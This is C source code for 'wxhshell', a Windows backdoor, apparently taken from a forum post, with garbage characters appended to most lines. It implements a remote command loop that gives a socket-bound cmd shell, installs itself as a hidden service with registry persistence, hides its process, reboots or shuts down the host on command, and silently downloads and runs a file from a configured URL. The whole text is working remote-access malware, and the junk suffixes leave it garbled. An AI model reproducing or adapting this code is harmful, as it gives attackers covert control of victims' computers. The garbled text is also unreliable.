  // 帮助 7'8G,|&:*  
  case '?': { %S`Wu|y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )x?)v#k  
    break; @+ T33X)h%  
  } Ll%}nti  
  // 安装 H}&JrT95  
  case 'i': { ZmkH55Cn  
    if(Install()) iZ/iMDfC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c M<08-:v  
    else M @G\b^"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Jt+-ZM  
    break; Kv:.bHN}  
    } 6~>h;wC  
  // 卸载 ![4_K':=  
  case 'r': { OXl0R{4  
    if(Uninstall()) eNH9`Aa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ugj I$u  
    else U|QP] 6v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^Ktz DmL  
    break; y\CxdTs  
    } .h/2-pQ>  
  // 显示 wxhshell 所在路径 ?I+$KjE+  
  case 'p': { A42!%>PB  
    char svExeFile[MAX_PATH]; u|\?6fz  
    strcpy(svExeFile,"\n\r"); kaoiSL<[6  
      strcat(svExeFile,ExeFile); p/l">d]+  
        send(wsh,svExeFile,strlen(svExeFile),0); L&=r-\.ev  
    break; F|'u0JQ)$  
    } 6Z=Qs=q  
  // 重启 Yne1MBK  
  case 'b': { ; bHS^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9pr.`w  
    if(Boot(REBOOT)) xzFQ)t&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u"wWekB  
    else { =w:)AWZ  
    closesocket(wsh); f `}/^*D  
    ExitThread(0); ZzQLbCV  
    } 6]?W&r|0I  
    break; 9&6P,ts%Q  
    } )J+A2>  
  // 关机 ^ rUq{  
  case 'd': { +7AH|v8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eJ ^I+?h  
    if(Boot(SHUTDOWN)) cF EO}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0r i  
    else { <u],R.S)  
    closesocket(wsh); *(5T?p[7  
    ExitThread(0); VfDa>zV3  
    } se]&)%p[  
    break; Z( "-7_  
    } E="uDHw+  
  // 获取shell \Mdi eO*  
  case 's': { u]`0QxvZ  
    CmdShell(wsh); .RAyi>\e  
    closesocket(wsh); 3^$=XrD  
    ExitThread(0); ( *K)D$y  
    break; m6}_kzFz  
  } *WFd[cKE  
  // 退出 8TU(5:xJo  
  case 'x': { t. (6tL]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); suFk<^3  
    CloseIt(wsh); W:9l"'  
    break; a0PU&o1EF  
    } :>_oOn[_  
  // 离开 !"-.D4*r  
  case 'q': { N>Uxq& )!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tTub W=H  
    closesocket(wsh); Zw'050~-  
    WSACleanup(); >p;&AaXkoG  
    exit(1); 3-1a+7fD  
    break; :qAX9T'{t  
        } 23,pVo  
  } s aHY9{)  
  } EAxdF u  
PDz:x4A  
  // 提示信息 W!Hn`T   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `CBXz!v!O  
} ukc 7Z OQ  
  } Q00v(6V46  
cD)9EFo  
  return; EwuRIe;D  
} c5 AaUza  
BSJS4+,E  
// shell模块句柄 3p?nQ O)L  
int CmdShell(SOCKET sock) ;4GGXT++L  
{ [kckE-y  
STARTUPINFO si;  s_+.xIZ  
ZeroMemory(&si,sizeof(si)); b35 3+7"|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]l+<-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0w< ilJ  
PROCESS_INFORMATION ProcessInfo; s16, *;Z  
char cmdline[]="cmd"; ;O{bF8 U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @#-\ BQ;  
  return 0; _iEnS4$A8  
} Dsc0 ;7~6  
.jC5 y&  
// 自身启动模式 :2/ jI:L~  
int StartFromService(void) "M\rO!f:  
{ HVhd#Q;  
typedef struct jAv3qMQA  
{ v&d'ABeT  
  DWORD ExitStatus; . &`YlK  
  DWORD PebBaseAddress; Q>9bKP  
  DWORD AffinityMask; fR+{gazk n  
  DWORD BasePriority; JRZp 'Ln  
  ULONG UniqueProcessId; fE&s 6w&  
  ULONG InheritedFromUniqueProcessId; AkdO:hVtG  
}   PROCESS_BASIC_INFORMATION; }[drR(]`dO  
j72mm!  
PROCNTQSIP NtQueryInformationProcess; ;3xi.^=B  
(!J;g|58  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v}D0t]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v^F00@2I  
h x8pg,X  
  HANDLE             hProcess; UUZm]G+  
  PROCESS_BASIC_INFORMATION pbi; %g89eaEZ  
7N@[Rtv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $ <C",&  
  if(NULL == hInst ) return 0; *//z$la  
Ea'jAIFPpO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XP:fL NpQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e 8oAGh"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }LQV2 hKTG  
!b4AeiL>w  
  if (!NtQueryInformationProcess) return 0; m\/)m]wR  
%zRuIDmv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v.vkQQ0[9  
  if(!hProcess) return 0; N;BuBm5K  
>.9V`m|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2G!z/OAj  
,aBy1K  
  CloseHandle(hProcess); CR2.kuM0~  
I|K!hQ"m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,`!lZ| U  
if(hProcess==NULL) return 0; z8%qCq  
M"{*))O\-c  
HMODULE hMod; MtF0/aT  
char procName[255]; 2Q@Jp`# ,4  
unsigned long cbNeeded; f8qDmk5s  
ZGI<L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =2DK?]K;  
V?) V2>]  
  CloseHandle(hProcess); |M t2  
%H&WihQ  
if(strstr(procName,"services")) return 1; // 以服务启动 |;t{L^  
|22vNt_  
  return 0; // 注册表启动 ZG#:3d*)  
} 3XQe? 2:<  
x%goyXK  
// 主模块 Q8QB{*4  
int StartWxhshell(LPSTR lpCmdLine) UWS 91GN@  
{ )b=vBs`%  
  SOCKET wsl; M6qNh`+HO  
BOOL val=TRUE; QlR~rFs9t  
  int port=0; ^-mWk?>  
  struct sockaddr_in door; ~&F|g2:  
+%Kk zdS'  
  if(wscfg.ws_autoins) Install(); gGBRfq>  
*b 0z/ 6  
port=atoi(lpCmdLine); 1=sL[I7<  
1|ddG010  
if(port<=0) port=wscfg.ws_port; FV aC8Kw  
/-^J0f+l3  
  WSADATA data; ~]?EV?T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KHC Fz  
i;]# @n|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qxHn+O!h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /YJBRU2  
  door.sin_family = AF_INET; DrAIQ7Jd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zw$\d1-+h  
  door.sin_port = htons(port); O\Z!7UQ$  
I!u=.[5zdC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oTXIs4+G  
closesocket(wsl); #r?[@aJ  
return 1; q*Hg-J}  
} KC2Z@  
i!3*)-a\~`  
  if(listen(wsl,2) == INVALID_SOCKET) { sMUpkU-  
closesocket(wsl); yENAcsv  
return 1; #8M^;4N >[  
} EL z5P}L6  
  Wxhshell(wsl); C0Fd<|[  
  WSACleanup(); v.TgB)  
c>3? T^=  
return 0; @W$ha y  
ZHeq)5C ;f  
} ?@FqlWz,  
3W#E$^G_v  
// 以NT服务方式启动 8<C@I/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _zzNF93Bn  
{ Q2woCx B  
DWORD   status = 0; _!Tjb^  
  DWORD   specificError = 0xfffffff; FU .%td=:  
a&)!zhVP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R;A8y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?vI2mr a+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [cznhIvyO  
  serviceStatus.dwWin32ExitCode     = 0; Y= =5\;-  
  serviceStatus.dwServiceSpecificExitCode = 0; Ya!e8 3-r  
  serviceStatus.dwCheckPoint       = 0; O#O"]A  
  serviceStatus.dwWaitHint       = 0; aE3eYl9u  
.;ofRx<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hDZyFRg  
  if (hServiceStatusHandle==0) return; I} +up,B]o  
U,6sR  
status = GetLastError(); IqsUtWSp  
  if (status!=NO_ERROR) 8tna<Hx  
{ gV h&c 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _j0xL{&&  
    serviceStatus.dwCheckPoint       = 0; g&EK^q  
    serviceStatus.dwWaitHint       = 0; P2C>IS  
    serviceStatus.dwWin32ExitCode     = status; J65:MaS  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2*#i/SE_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zF{~Md1  
    return; Dr=$}Y  
  } XD0a :T)  
`VUJW]wGu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZUS5z+o  
  serviceStatus.dwCheckPoint       = 0; {[Y7h}7  
  serviceStatus.dwWaitHint       = 0; `"yxmo*0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *!*%~h8V  
} O`GF |  
t)?K@{ 9  
// 处理NT服务事件,比如:启动、停止 B)L0hi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q^3{L\6_  
{ Kr1Y3[iNv  
switch(fdwControl) 6J}Yr5oD  
{ ;bg]H >$U7  
case SERVICE_CONTROL_STOP: RjO0*$>h  
  serviceStatus.dwWin32ExitCode = 0; 6oZHSjC*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ElDeXLr'  
  serviceStatus.dwCheckPoint   = 0; g"kI1^[nj  
  serviceStatus.dwWaitHint     = 0; >G%oWRk  
  { $0un`&W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tCGx]\  
  } yZgWFf.X  
  return; /3SEu(d!  
case SERVICE_CONTROL_PAUSE: j3N d4#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d6JW"  
  break; yE,qLiH  
case SERVICE_CONTROL_CONTINUE: |K{ d5\_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AJ& j|/  
  break; -@`Ah|m@}  
case SERVICE_CONTROL_INTERROGATE: yZ)9Hd   
  break; l:JVt`A4?  
}; (jj`}Qe3U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cqJXZ.X C  
} 8HJ,6Lr;  
Z2})n -  
// 标准应用程序主函数 G8%VL^;O*5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1i~q~ O,  
{ _#&oQFdYR  
!5?_)  
// 获取操作系统版本 _kMHF  
OsIsNt=GetOsVer(); _xm<zy{`S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \#VWZ\M8a  
MusUgBQy  
  // 从命令行安装 6_u!{  
  if(strpbrk(lpCmdLine,"iI")) Install(); y?O-h1"3,  
~xsJML  
  // 下载执行文件 "9QZX[J|*  
if(wscfg.ws_downexe) { [r3sk24  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G6W|l2P!  
  WinExec(wscfg.ws_filenam,SW_HIDE); N"G\ H<n  
} uYg Q?*Z  
k+P3z&e  
if(!OsIsNt) { U5~aG!E  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,]:< l  
HideProc(); :Rv+Bm  
StartWxhshell(lpCmdLine); IO 0nT  
} S(xs;tZ  
else ]a&riPh"  
  if(StartFromService()) fjy\Q  
  // 以服务方式启动 &I8DK).M+  
  StartServiceCtrlDispatcher(DispatchTable); h4 9q(085V  
else U!c+i#:t  
  // 普通方式启动 Xxd D)I  
  StartWxhshell(lpCmdLine); JeNX5bXW  
0uW)&>W  
return 0; G/# <d-}_  
}
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只看该作者 1 发表于: 2006-10-10
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